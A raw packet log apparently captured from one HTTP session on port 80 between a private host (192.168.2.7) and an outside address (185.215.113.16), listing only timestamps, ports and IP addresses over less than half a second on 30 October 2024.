Oct 30, 2024 04:35:24.479624987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479655981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479680061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479691982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479696989 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479762077 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479804993 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479816914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479829073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479890108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479903936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479918003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.479949951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.479983091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.480273962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.480302095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.480314970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.480324030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.480336905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.480364084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.520239115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.520256996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.520283937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.520291090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.520307064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.520327091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523478985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523498058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523509026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523528099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523542881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523591042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523633003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523637056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523648977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523686886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523724079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523787975 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523833990 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.523859024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523870945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.523902893 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524071932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524082899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524092913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524111032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524135113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524282932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524324894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524327040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524337053 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524354935 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524374008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524378061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524415970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524693012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524704933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524715900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524736881 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524751902 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524780989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524791956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524801016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524822950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524841070 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524873018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524916887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.524916887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524930000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.524965048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.525481939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.525532007 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.525573015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.525583982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.525593996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.525616884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.525650024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.564907074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.564922094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.564933062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565020084 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.565229893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565299988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565309048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.565311909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565381050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565392017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565396070 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.565397978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565480947 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.565671921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565756083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565768003 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.565773010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565844059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565849066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.565855980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.565931082 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.566138029 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.566176891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.566189051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.566205978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.566293955 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598144054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598177910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598186970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598197937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598237991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598278046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598284006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598306894 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598331928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598344088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598428965 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598490000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598687887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598758936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598778009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598805904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598845959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598858118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.598858118 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598905087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.598954916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.599028111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.599061966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.599086046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.599168062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.639096022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.639122963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.639180899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.639225006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.639278889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642062902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642146111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642174006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642179012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642195940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642213106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642271996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642357111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642378092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642383099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642399073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642487049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642569065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642584085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642671108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642685890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642760038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642771006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.642780066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642796040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.642873049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643049002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643093109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643107891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643112898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643213987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643346071 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643376112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643412113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643428087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643436909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643441916 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643539906 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643834114 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643850088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643865108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643908024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643929005 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.643979073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.643997908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.644013882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.644031048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.644038916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.644047976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.644066095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.644088030 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.683607101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.683630943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.683650017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.683670998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.683691978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.683917999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.683933020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.683954954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.683959961 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.683983088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684005022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684020042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684046030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684062958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684067965 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684084892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684092999 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684379101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684421062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684422970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684447050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684458017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684463024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684479952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684493065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684787035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684824944 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684839010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684876919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684894085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684897900 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684910059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684938908 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.684981108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.684998035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.685015917 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.685026884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.716824055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.716861963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.716877937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.716893911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.716916084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.716931105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.716967106 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.717070103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.717097998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.717102051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.717118025 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.717166901 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.717334032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.717358112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.717375994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.717403889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.717490911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.757597923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.757611990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.757626057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.757642031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.757657051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.757671118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.757750034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.757821083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.760759115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.760783911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.760797977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.760833979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.760848999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.760863066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761110067 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761126041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761145115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761159897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761197090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761301994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761359930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761387110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761403084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761420012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761425972 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761524916 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761673927 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761725903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761738062 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761748075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761820078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761898994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.761960983 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.761969090 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762001038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762017965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762038946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.762090921 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.762253046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762326002 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762330055 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.762342930 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762376070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762392998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762412071 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.762440920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762514114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.762887955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762917995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762933016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.762963057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.763048887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.802176952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802201986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802217960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802232981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802249908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802337885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.802480936 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.802495956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802566051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.802567959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802592039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802643061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802659035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802668095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.802675009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802753925 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.802916050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802966118 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802980900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.802987099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.803072929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.803154945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803209066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803220034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.803225994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803261042 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803277016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803298950 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.803385019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.803656101 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803679943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803694963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.803734064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.803792953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.835352898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835383892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835413933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835427999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835469007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835484028 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835494041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.835500956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835597038 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.835660934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835716009 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835726976 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.835732937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835812092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.835962057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835978031 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.835992098 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.836031914 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.836081982 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:24.876645088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:24.876677036 CET	80	49983	185.215.113.16	192.168.2.7
